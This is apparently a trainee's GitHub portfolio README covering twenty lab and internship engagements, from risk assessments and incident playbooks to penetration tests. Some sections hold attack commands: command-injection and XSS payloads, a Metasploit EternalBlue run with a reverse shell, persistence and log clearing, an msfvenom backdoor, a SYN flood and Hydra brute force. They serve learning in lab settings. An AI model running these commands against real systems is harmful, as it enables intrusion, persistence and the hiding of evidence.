Skip to content
BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
07-linux-networking-labs/Kali-Bash-Automation
07-linux-networking-labs/Kali-Bash-Automation
 
 
certifications
certifications
 
 
README.md
README.md
 
 

Repository files navigation

🛡️ Cybersecurity Portfolio — Ogbodo Uchenna Maxwell Adrian

20 documented engagements across penetration testing, vulnerability assessment, OSINT, SOC operations, APT simulation, incident response, and security research.

👤 About

Ogbodo Uchenna Maxwell Adrian is a multidisciplinary security professional with hands-on experience across offensive and defensive cybersecurity. This portfolio documents real internship engagements, formal lab exercises, and independent research conducted across multiple organizations including EvolveHQ, Digitanotion Limited, ICDFA, TechCrush, and Remote Hustle.

All offensive work was conducted in authorized, controlled environments. Real engagements were performed under signed NDAs with explicit authorization from supervising organizations.

📁 Repository Structure

cybersecurity-portfolio/
│
├── 01-vulnerability-assessment/
│   ├── bWAPP-Assessment-Digitanotion/
│   ├── MySQL-Server-Assessment/
│   └── Botium-Toys-Risk-Assessment/
│
├── 02-penetration-testing/
│   ├── DVWA-Web-Exploitation-EvolveHQ/
│   ├── EternalBlue-MS17-010-TryHackMe/
│   └── DVWA-Brute-Force-Three-Levels/
│
├── 03-apt-red-team/
│   ├── Operation-Shadow-Strike-ICDFA/
│   └── Operation-AEGIS-SHIELD-ICDFA/
│
├── 04-osint/
│   └── OSINT-Challenge-Digitanotion/
│
├── 05-soc-blue-team/
│   ├── TechCrush-SOC-Bootcamp/
│   └── Incident-Response-Playbooks/
│
├── 06-security-engineering/
│   ├── Remote-Hustle-Security-Implementation/
│   └── OWASP-Top10-Digitanotion/
│
├── 07-linux-networking-labs/
│   ├── Wireshark-Network-Analysis/
│   ├── Data-Encryption-Hashing-SSH/
│   ├── File-Permissions-Linux/
│   ├── SQL-Filters-Security/
│   └── Kali-Bash-Automation/
│
├── 08-security-research/
│   ├── MITRE-Frameworks-Analysis/
│   └── Cloud-Security-AWS/
│
└── README.md

🗂️ All Engagements

# Engagement Type Organization Tools
01 bWAPP Vulnerability Assessment VAPT Digitanotion Ltd OWASP ZAP, Manual
02 MySQL Server Vulnerability Assessment Risk Assessment E-commerce Co. NIST SP 800-30
03 Botium Toys Risk Assessment Security Audit Botium Toys NIST CSF
04 DVWA Web Application Exploitation Pen Testing EvolveHQ Burp Suite, Manual
05 EternalBlue MS17-010 Exploitation Pen Testing EvolveHQ / TryHackMe Nmap, Metasploit
06 DVWA Brute Force — 3 Security Levels Web App Testing EvolveHQ Burp Suite Intruder
07 Operation Shadow Strike — APT Simulation Red Team / APT ICDFA Metasploit, SET, hping3, Nmap
08 Operation AEGIS SHIELD — Cyber Command Exercise Blue Team / C2 ICDFA MITRE ATT&CK, OODA
09 OSINT Challenge — Investigating the Unknown OSINT Digitanotion Ltd Google Dorking, Yandex, TinEye
10 TechCrush SOC Bootcamp SOC / Blue Team TechCrush Wireshark, Splunk, Wazuh
11 Incident Response Playbooks IR Planning TechCrush NIST IR Framework
12 Remote Hustle Security Implementation Security Engineering Remote Hustle Policy Design, RBAC
13 OWASP Top 10 — Digitanotion Defence Security Research Digitanotion Ltd OWASP, CVE Research
14 Wireshark Network Traffic Analysis Network Analysis TechCrush Lab Wireshark, ping, ARP
15 Data Encryption, Hashing & Secure Transfer Cryptography Lab TechCrush GPG, SHA256, SCP, SSH
16 File Permissions in Linux Linux Security Google Cybersecurity chmod, ls -la
17 SQL Filters for Security Investigations Security Analytics Google Cybersecurity SQL, MySQL
18 Kali Linux Bash Automation Scripting Independent Bash, chmod
19 MITRE Frameworks Deep Dive Security Research ICDFA ATT&CK, D3FEND, CAPEC, CVE, CWE
20 Cloud Security — AWS Assessment Cloud Security Independent AWS IAM, MFA

01. bWAPP Vulnerability Assessment

Organization: Digitanotion Limited | Role: VAPT Intern | Date: December 2024 Supervisor: Mr. Divine Ezelibe (CISO) | Ticket: RT09219

Overview

White-box vulnerability assessment of bWAPP (Buggy Web Application) hosted on Docker. Conducted as a formal internship challenge simulating real-world VAPT methodology with CVSS scoring, structured reporting, and remediation planning.

Findings Summary

Vulnerability Risk CVSS Discovery Method
SQL Injection (/login.php, /admin.php) High 7.5 OWASP ZAP + Manual
Absence of Anti-CSRF Tokens Medium — ZAP Passive Scan
Content Security Policy Not Set Medium — ZAP Passive Scan
Application Error Disclosure Medium — ZAP Passive Scan
Directory Browsing Enabled Medium — ZAP Active Scan
Missing Anti-Clickjacking Header Medium — ZAP Passive Scan
Cookie No HttpOnly Flag Low — ZAP Passive Scan
Cookie without SameSite Attribute Low — ZAP Passive Scan
Hidden File Found (/phpinfo.php) Medium — ZAP Active Scan

Total: 17 alerts — 0 High (post-manual), 6 Medium, 5 Low, 6 Informational

Methodology

  1. Deployed bWAPP on Docker, configured OWASP ZAP 2.15.0 as proxy
  2. Ran traditional spider + AJAX spider against http://127.5.0.1
  3. Executed automated active scan (4,394 requests, 146 new alerts identified)
  4. Supplemented with manual testing on /login.php and /admin.php
  5. Scored findings using CVSS v3.1 and compiled formal report with remediation

Key Recommendations

  • Parameterized queries and prepared statements for all DB interactions
  • Anti-CSRF tokens on all form submissions
  • Content Security Policy and X-Frame-Options headers
  • Disable directory browsing at web server level
  • Suppress detailed error messages in production

02. MySQL Server Vulnerability Assessment

Context: Newly hired security analyst at an e-commerce company | Date: January 2024 Framework: NIST SP 800-30 Rev. 1

System Profile

  • CPU: High-performance server | RAM: 128GB | OS: Latest Linux
  • Database: MySQL | Network: IPv4 with SSL/TLS | Exposure: Public-facing

Risk Assessment

Threat Source Threat Event Likelihood Severity Risk Score
Competitor Data infiltration and exfiltration 3 3 9 (High)
Employee Alteration or deletion of critical data 3 2 6 (Medium)
Hacker SQL injection, DDoS attacks 3 3 9 (High)

Recommended Controls

  • Upgrade SSL to TLS for all data in motion
  • Deploy IDPS for real-time traffic monitoring
  • Implement IP allowlisting to restrict database access
  • Schedule quarterly penetration testing
  • Launch user security awareness training

03. Risk Assessment

Framework: NIST Cybersecurity Framework (CSF) | Risk Score: 8/10 (High)

Critical Gaps Identified

  • No encryption for cardholder data (PCI-DSS violation risk)
  • All employees have access to PII/SPII — no least privilege enforcement
  • No Intrusion Detection System (IDS) deployed
  • No disaster recovery plan or critical data backups
  • Weak password policy below current complexity standards
  • No centralized password management system
  • Legacy systems lack scheduled monitoring

Compliant Controls (Already in Place)

  • Firewall with defined security rules
  • Antivirus software monitored regularly
  • GDPR 72-hour breach notification plan for EU customers
  • Physical security: locks, CCTV, fire detection

04. DVWA Web Application Exploitation

Organization: EvolveHQ Red Team Bootcamp | Framework: OWASP Top 10

Vulnerabilities Exploited

Brute Force (Authentication Bypass)

  • Endpoint: /login.php
  • Tool: Burp Suite Intruder (Cluster Bomb attack)
  • Result: Recovered credentials — admin:password, gordonb:abc123, smithy:password, pablo:letmein, 1337:charley
  • Root Cause: No rate limiting, account lockout, or CAPTCHA
  • Mitigation: Rate limiting, lockout after 5 failed attempts, CAPTCHA

Command Injection

  • Payloads: ; whoami, ; cat /etc/passwd, ; ls
  • Root Cause: User input passed directly to system shell without sanitization
  • Mitigation: escapeshellarg(), input whitelisting, disable dangerous PHP functions

Authorization Bypass (IDOR)

  • Method: Direct URL access to admin-restricted pages without role validation
  • Root Cause: No server-side session/role checks on restricted endpoints
  • Mitigation: Role-based access control, server-side session validation on every request

Cross-Site Scripting (XSS)

  • Payload: <script>alert('XSS')</script> in comment fields and search forms
  • Root Cause: No output encoding — user input reflected directly in HTML
  • Mitigation: HTML entity encoding, Content Security Policy header

MITRE ATT&CK Mapping

Technique ID Phase
Brute Force T1110 Credential Access
Command & Scripting Interpreter T1059 Execution
Exploit Public-Facing Application T1190 Initial Access
Stored XSS T1185 Collection

05. EternalBlue MS17-010 Exploitation

Platform: TryHackMe "Blue" Machine | Organization: EvolveHQ Vulnerability: CVE-2017-0144 (EternalBlue — NSA exploit, leaked by Shadow Brokers)

Engagement Steps

1. Enumeration

nmap -A <target_ip>

Open ports: 135, 139, 445 (SMB), 3389 (RDP), 49152-49157 (RPC)

2. Service Detection

nmap -p 445 --script smb-vuln* <target_ip>

Result: SMBv1 enabled — vulnerable to MS17-010 (EternalBlue)

3. Exploitation

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
run

4. Post-Exploitation

meterpreter > shell
C:\> whoami
nt authority\system

C:\> dir C:\Users
Administrator  Public

5. Privilege Escalation EternalBlue directly grants NT AUTHORITY\SYSTEM — highest Windows privilege level.

6. Persistence

meterpreter > run persistence -X -i 10 -p 4444 -r <attacker_ip>

Scheduled task created for reboot persistence.

7. Clean Up

meterpreter > clearev
meterpreter > reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v <key>
C:\> del <uploaded_files>

Key Learning

EternalBlue remains one of the most impactful vulnerabilities ever discovered — responsible for WannaCry and NotPetya ransomware campaigns. Patched by MS17-010 (March 2017). Organizations running unpatched Windows 7/Server 2008 remain at critical risk.

06. DVWA Brute Force — Three Security Levels

Tool: Burp Suite Intruder | Target: DVWA Login Form

Low Security

  • Attack Type: Cluster Bomb (iterates all username/password combinations)
  • No protections present
  • Recovered: gordonb:abc123, admin:password, smithy:password, pablo:letmein, 1337:charley

Medium Security

  • Protection added: 2-second delay after each failed attempt
  • Attack still succeeds — delay only slows, does not stop brute force
  • Same attack type, same results

High Security

  • Protection added: CSRF token per login attempt
  • Attack type changed to: Pitchfork
  • Payload 2: Recursive Grep to extract CSRF token dynamically per request
  • Custom resource pool: Max concurrent requests = 1 (required for recursive grep)
  • Burp extracts hidden token value from page response, uses it in next request
  • Result: admin:password still recovered
  • Lesson: CSRF tokens prevent cross-site attacks but not same-session brute force without additional controls like account lockout

07. Operation Shadow Strike — APT Simulation

Organization: ICDFA | Course: ACW202 — Offensive Cyber Operations Registration: 2025/ACW/5607 | Framework: MITRE ATT&CK

Campaign Overview

Full 5-phase Advanced Persistent Threat simulation against fictional GlobalTech Solutions, mirroring nation-state actor methodology.

Phase Breakdown

Phase Objective Tool MITRE ID
1 — DDoS Disruption Overwhelm web server, create chaos hping3 SYN flood T1498
2 — Spear Phishing Steal credentials via cloned login portal Social Engineering Toolkit (SET) T1566.002
3 — Persistence Install reverse shell backdoor surviving reboots Metasploit msfvenom T1547
4 — Lateral Movement Move from foothold to domain controller Nmap + Hydra + psexec T1021.002
5 — Data Exfiltration Extract sensitive files undetected Python AES + SCP T1048

Key Commands

# Phase 1 - DDoS
sudo hping3 -S --flood -V -p 80 <victim_ip>

# Phase 3 - Payload generation
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o backdoor.exe

# Phase 4 - Network enumeration
nmap -sV -O 192.168.189.0/24
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target_ip> ssh

Mitigation Matrix

Phase Control 1 Control 2 Control 3
DDoS Rate limiting WAF Cloud DDoS scrubbing
Phishing MFA User awareness training Email sandboxing
Persistence EDR File integrity monitoring App whitelisting
Lateral Movement Strong password policy Network segmentation Behavioral analytics
Exfiltration DLP solutions Outbound firewall Encrypted traffic inspection

08. Operation AEGIS SHIELD — Cyber Command Exercise

Organization: ICDFA | Course: ACW904 | Role: Watch Commander, Watch Team Delta Network Defended: Poseidon Maritime Logistics Network (.poseidon.sl.gov)

Scenario

Real-time APT incident response exercise. Commanded a 4-person cyber team (Network Analyst, Endpoint Analyst, Incident Responder, Malware Reverse Engineer) through a live intrusion by threat actor IRON VORTEX.

Incident Timeline

Time (Zulu) Event Action Taken
08:30 Suspicious Excel attachment flagged — Q4_Manifests_Urgent.xlsm ANALYZE attachment; MONITOR logistics workstations
09:15 EDR alert: powershell.exe spawned by EXCEL.EXE on EMP-WS-1138, connecting to 185.141.25.234 ISOLATE HOST; BLOCK IP; REQUEST FORENSICS
09:45 C2 heartbeat confirmed — encrypted outbound connections every 90 seconds on port 443 REQUEST MALWARE ANALYSIS; REPORT & ESCALATE to OPCOM
10:30 Lateral movement detected — host enumerating network shares, attempting access to CM-DB-01 ISOLATE HOST immediately; PROTECT critical asset
11:30 MRE extracts 3 hardcoded C2 domains from IRON VORTEX binary BLOCK all 3 domains; FINAL SITREP to OPCOM-CYBER

IRON VORTEX C2 Infrastructure (IOCs Extracted)

  • sysupdate.northlandia-cdn[.]com
  • content-delivery.northlandia-cdn[.]com
  • api.cloud-services.northlandia-cdn[.]com

Key Decisions

Applied OODA Loop (Observe → Orient → Decide → Act) and Rules of Engagement throughout. Balanced evidence preservation against critical asset protection — ultimately prioritized containing threat to CM-DB-01 over extended intelligence collection when adversary moved to Actions on Objectives.

09. OSINT Challenge — Investigating the Unknown

Organization: Digitanotion Limited | Date: December 1, 2024

Tools Used

  • Google Dorking (site: operator)
  • Yandex Reverse Image Search
  • TinEye Reverse Image Search
  • Microsoft Bing Visual Search

Findings

Target Result Method
Restaurant Name Katz's Delicatessen Reverse image search
Phone Number +1 212-254-2246 Official website
Website katzsdelicatessen.com Direct search
Founded 1888 Wikipedia + official sources
Target URL katzsdelicatessen.com/corned-beef Google Dork
Dork Payload site:katzsdelicatessen.com corned beef Self-constructed

Lessons Learned

  • Precision dorking with site: operator dramatically narrows results
  • Cross-referencing Yandex and TinEye provides different image origin perspectives
  • All findings must be verified through at least two independent sources before reporting

10. TechCrush SOC Bootcamp

Duration: 8 Weeks + Capstone | Role: SOC Analyst Trainee

Curriculum

Week Topic Skills Gained
1 Cybersecurity Fundamentals CIA Triad, threat landscape, SOC structure and roles
2 Cryptography Symmetric/asymmetric encryption, hashing, CyberChef practical
3 Network Security OSI model, firewalls, IDS/IPS, Wireshark (HTTP vs HTTPS)
4 Windows Security UAC, Windows Defender, patch management
5 Linux Security File permissions, SELinux, AppArmor, hardening
6 Incident Response IR lifecycle, digital forensics, log analysis, evidence handling
7 Threat Intelligence Intel lifecycle, threat hunting methodologies, IOC analysis
8 Advanced SOC SOAR, playbooks, APT defense strategies
9-12 Capstone Full SOC simulation — detection, triage, response, reporting

Capstone

Completed integrated capstone demonstrating full SOC workflow: alert triage → incident identification → containment → forensic collection → formal incident report.

11. Incident Response Playbooks

Course: TechCrush Bootcamp Capstone | Framework: NIST Incident Response

Playbooks Developed

Playbook 1 — Phishing Attack

  • Triggers: Unusual login from new geography, reported suspicious email, credential alert
  • Phases: Identify → Isolate affected account → Reset credentials → Scan for malware → User notification → Post-incident review
  • Roles: Incident Commander, Tier 1 Analyst, Email Admin, HR (user communication)

Playbook 2 — Ransomware Infection

  • Triggers: File extension changes, ransom note detected, C2 beaconing, mass file encryption
  • Phases: Isolate infected hosts → Identify blast radius → Restore from clean backup → Patch vector → Notify stakeholders
  • Roles: Incident Commander, Forensics Lead, Backup Admin, Legal/Compliance

Playbook 3 — DDoS Attack

  • Triggers: Traffic spike >300% baseline, service unavailability, ISP alerts
  • Phases: Activate DDoS mitigation → Enable cloud scrubbing → Rate limit → Communicate status → Root cause analysis
  • Roles: NOC Lead, Security Engineer, Communications Lead

Post-Incident Review Template Each playbook includes a post-incident template capturing: timeline reconstruction, root cause, systems affected, detection gap analysis, and control improvements.

12. Remote Hustle Security Implementation

Organization: Remote Hustle | Submission: Stage 1 — Cybersecurity & Tech Security

1. Password Security Policy

  • Minimum 14 characters (20 for admin accounts)
  • Complexity: uppercase, lowercase, numbers, special characters
  • Rotation: 90 days standard, 60 days privileged
  • No reuse for previous 12 cycles
  • Storage: bcrypt/Argon2/scrypt hashing with salt — no reversible encryption
  • Recommended managers: Bitwarden Teams, 1Password, LastPass Business

2. Two-Factor Authentication Deployment (Google Workspace)

  • Method: TOTP via Authenticator App (Google/Microsoft Authenticator, Authy)
  • Rationale: More secure than SMS — resistant to SIM-swap attacks
  • Deployment: Google Admin Console → Security → 2-Step Verification → Enforce for all users
  • Grace period: 7 days enrollment window
  • Monitoring: Reports → User Reports → Security to track enrollment

3. RBAC Access Control Matrix

Department View Access Edit Access Admin Approval
HR Employee records, PII, payroll Own dept files, onboarding HR portal only HR Manager
Developers Codebase, dev docs, test envs Dev repos, staging, APIs Dev tools, CI/CD Lead Dev / CTO
Finance Financial reports, invoices Finance sheets, payment records Accounting software CFO
Marketing Campaign data, analytics Marketing collateral, social Marketing platform Marketing Manager
Admin All company documents All operational files Full system admin CEO / CTO (dual)

Key principles: Least Privilege, Need-to-Know, Segregation of Duties, Quarterly Access Reviews, 12-month Audit Log Retention

13. OWASP Top 10 — Digitanotion Defence

Organization: Digitanotion Limited | Reference: Equifax 2017 Breach Case Study

Priority Vulnerabilities Analyzed for Digitanotion

OWASP # Vulnerability Relevance to Digitanotion Mitigation
A01 Broken Access Control Internal users accessing unauthorized data RBAC, server-side authorization checks
A02 Cryptographic Failures Customer data transmitted without encryption TLS 1.3, encrypt data at rest
A03 Injection SQL injection in web forms Parameterized queries, input validation
A05 Security Misconfiguration Default credentials, directory browsing Security hardening baseline
A07 Identification & Auth Failures Weak session management MFA, secure session tokens
A09 Security Logging Failures No audit trail for data access Centralized logging, SIEM integration

Equifax 2017 Lesson

A known Apache Struts vulnerability (CVE-2017-5638) went unpatched for 78 days, exposing 147 million records. The lesson for Digitanotion: patch management SLAs must be defined and enforced — critical patches within 24-48 hours, high within 7 days.

14. Wireshark Network Traffic Analysis

Course: EvolveHQ / TechCrush Lab | Focus: ICMP, ARP, MAC address behavior

Part 1 — Local ICMP Analysis

ping 192.168.1.114
  • Source MAC: Local NIC MAC address (confirmed via ipconfig /all)
  • Destination MAC: Target PC's actual MAC address
  • MAC Resolution: ARP broadcast → ARP reply → ARP table updated → ICMP sent

Part 2 — Remote ICMP Analysis

Domain IP Resolved Source MAC Destination MAC
evolvehq.com 172.232.25.148 34:c9:3d:e9:d6:08 46:a8:fc:5a:21:64 (Gateway)
www.cisco.com 23.192.24.118 34:c9:3d:e9:d6:08 46:a8:fc:5a:21:64 (Gateway)
www.google.com 216.58.223.206 34:c9:3d:e9:d6:08 46:a8:fc:5a:21:64 (Gateway)

Key Finding: For remote hosts, the destination MAC is always the default gateway (router), not the remote server. MAC addresses operate at Layer 2 (Data Link) and are only meaningful within a single network segment. IP routing handles cross-network delivery.

15. Data Encryption, Hashing & Secure Transfer

Course: TechCrush Capstone | Tools: GPG, SHA256sum, SCP, SSH, Wireshark

Process

# Create plaintext file
nano plaintext.txt

# Encrypt with GPG (adds .gpg extension)
gpg -c plaintext.txt

# Generate SHA-256 hash for integrity verification
sha256sum plaintext.txt

# Enable SSH for secure transfer
sudo systemctl enable ssh
sudo systemctl start ssh

# Transfer both files securely via SCP
scp plaintext.txt plaintext.txt.gpg hostname@<ip>:/destination/path

Wireshark Analysis

  • Unencrypted file (SCP of plaintext.txt): TCP stream shows readable content
  • Encrypted file (SCP of .gpg file): TCP stream shows ciphertext — data is unreadable even with packet capture
  • Conclusion: GPG encryption provides confidentiality in transit; even if packets are intercepted via MITM, the actual data content remains protected

16. File Permissions in Linux

Course: Google Cybersecurity Professional Certificate | Tool: Linux CLI

Commands Used

# Check permissions
ls -la

# Remove write permission from 'others' on project_k.txt
chmod o-w project_k.txt
# Result: -rw-rw-r-- (others can no longer write)

# Set hidden file .project_x.txt to read-only for user and group
chmod ug=r,ug-w .project_x.txt
# Result: -r--r----- (archived file, no write for anyone)

# Remove group execute from drafts/ directory
chmod g-x drafts
# Result: drwx------ (only researcher2 can access drafts)

Permission String Breakdown

-rw-rw-rw-  →  Regular file | Owner: rw | Group: rw | Others: rw
drwxr-xr-x  →  Directory | Owner: rwx | Group: r-x | Others: r-x

17. SQL Filters for Security Investigations

Course: Google Cybersecurity Professional Certificate

Queries Written

-- Failed logins after business hours
SELECT * FROM log_in_attempts
WHERE login_time > '18:00' AND success = FALSE;

-- Login attempts on suspicious dates
SELECT * FROM log_in_attempts
WHERE login_date = '2022-05-09' OR login_date = '2022-05-08';

-- Login attempts outside Mexico (covers MEX and MEXICO)
SELECT * FROM log_in_attempts
WHERE NOT country LIKE 'MEX%';

-- Marketing employees in East building (for security updates)
SELECT * FROM employees
WHERE department = 'Marketing' AND office LIKE 'East%';

Security Application

SQL filtering is foundational for SOC analysts — used daily for log analysis, threat hunting, user behavior analytics, and access control audits. These queries demonstrate the ability to isolate anomalous events from large datasets efficiently.

18. Kali Linux Bash Automation

Tool: Bash | Platform: Kali Linux

Script: project_setup.sh

Automates creation of standardized security project folder structure with proper 755 permissions.

# Directories created:
project_name/
├── docs/       (755)
├── src/        (755)
├── tests/      (755)
├── config/     (755)
├── data/
│   ├── raw/    (755)
│   └── processed/ (755)
└── logs/       (755)

Full script available in: 07-linux-networking-labs/Kali-Bash-Automation/project_setup.sh

19. MITRE Frameworks Deep Dive

Organization: ICDFA | Type: Security Research

Framework Purpose Real-World Application
ATT&CK Adversarial tactics, techniques, procedures Threat hunting, red team planning, SIEM rule tuning
D3FEND Defensive countermeasures mapped to ATT&CK Security gap analysis, defensive tool selection
CAPEC Attack pattern enumeration Threat modeling, developer security training
CWE Software and hardware weakness catalog Secure coding, SAST/DAST integration
CVE Known vulnerability catalog Patch management, vulnerability prioritization
MITRE Engage Active defense and adversary deception Honeypot deployment, intelligence gathering

Key Insight: The highest value comes from combining frameworks — ATT&CK + CAPEC maps the how, CVE + CWE identifies what's vulnerable, D3FEND prescribes how to defend. AI-driven correlation across all frameworks represents the future of proactive threat management.

20. Cloud Security — AWS Assessment

Focus: AWS Security Fundamentals and Shared Responsibility Model

Concept Key Finding
Shared Responsibility Provider secures infrastructure; customer secures data, identities, and configurations
IAM Centralized identity management — all access should flow through IAM roles and policies
MFA Critical second factor — reduces account compromise risk by 99%+
Least Privilege IAM policies should grant minimum required permissions only
Encryption in Transit TLS mandatory for all data moving between services
Private Cloud Single-org deployment for maximum control over sensitive workloads
Scalability Cloud resources scale on demand — security controls must scale with them

🔐 Authorization & Ethics Statement

All offensive security techniques documented in this portfolio were performed exclusively in:

  • Authorized internship environments (Digitanotion, EvolveHQ, Remote Hustle)
  • Controlled lab platforms (TryHackMe, Docker local instances, VirtualBox VMs)
  • Intentionally vulnerable applications (bWAPP, DVWA)
  • Academic simulation exercises (ICDFA ACW202, ACW904)

Real engagements were conducted under signed Non-Disclosure Agreements. All findings were reported responsibly to supervising security professionals. No unauthorized systems were accessed at any time.

📜 Certifications

All certificates are available in the /certifications folder of this repository.

# Certification Issuer Date File
01 Oracle Cloud Infrastructure AI Foundations Associate Oracle Oct 2025 View
02 Cybersecurity Career Starter Certification (CCSC) Hack & Fix Academy Dec 2025 View
03 15-Week Cybersecurity Bootcamp TechCrush Jan 2025 View
04 Introduction to Penetration Testing StationX Sep 2025 View
05 IT Auditing & GRC Bootcamp TC Sep 2025 View
06 Cybersecurity Programme EvolveHQ Dec 2024 View
07 ISO/IEC 27001:2022 ISMS Foundation SandBP Nov 2024 View
08 ISO 31000:2018 Risk Management Foundation SandBP Nov 2024 View
09 Introduction to Cybersecurity Badge Cisco Sep 2024 View
10 Introduction to Cyber Security Great Learning Dec 2024 View
11 VAPT Internship Certificate Digitanotion Ltd Dec 2024 View

🏅 Certificate Gallery

Great Learning - Intro to Cyber Security    Oracle OCI AI Foundations 2025

🔐 Authorization & Ethics Statement

All offensive security techniques documented in this portfolio were performed exclusively in authorized internship environments, controlled lab platforms (TryHackMe, Docker, VirtualBox), intentionally vulnerable applications (bWAPP, DVWA), and academic simulation exercises (ICDFA). Real engagements were conducted under signed NDAs. No unauthorized systems were accessed at any time.

"Security is not a product, it is a process — and this portfolio reflects that process in action."

Ogbodo Uchenna Maxwell Adrian | @MaxCybOps

About

No description, website, or topics provided.

Resources

Readme
Activity

Stars

1 star

Watchers

0 watching

Forks

0 forks
Report repository

Releases

Packages

Contributors

Languages